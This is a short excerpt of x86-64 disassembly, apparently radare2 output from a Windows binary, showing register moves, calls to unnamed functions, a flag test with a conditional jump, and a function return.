mov rcx, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x10]
call fcn.140047800
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x30]
mov qword [rbp - 0x20], rax
call fcn.140019f60
mov qword [rbp - 0x28], rax
mov rdx, qword [rbp - 0x28]
mov rcx, qword [rbp - 0x20]
call fcn.140046a30
mov rcx, qword [rbp - 0x38]
mov r8, qword [rbp - 0x20]
lea rdx, [rbp - 0x28]
call fcn.140047840
xor al, 0xff
test al, 1
jne 0x140045c57
add rsp, 0x60
pop rbp
ret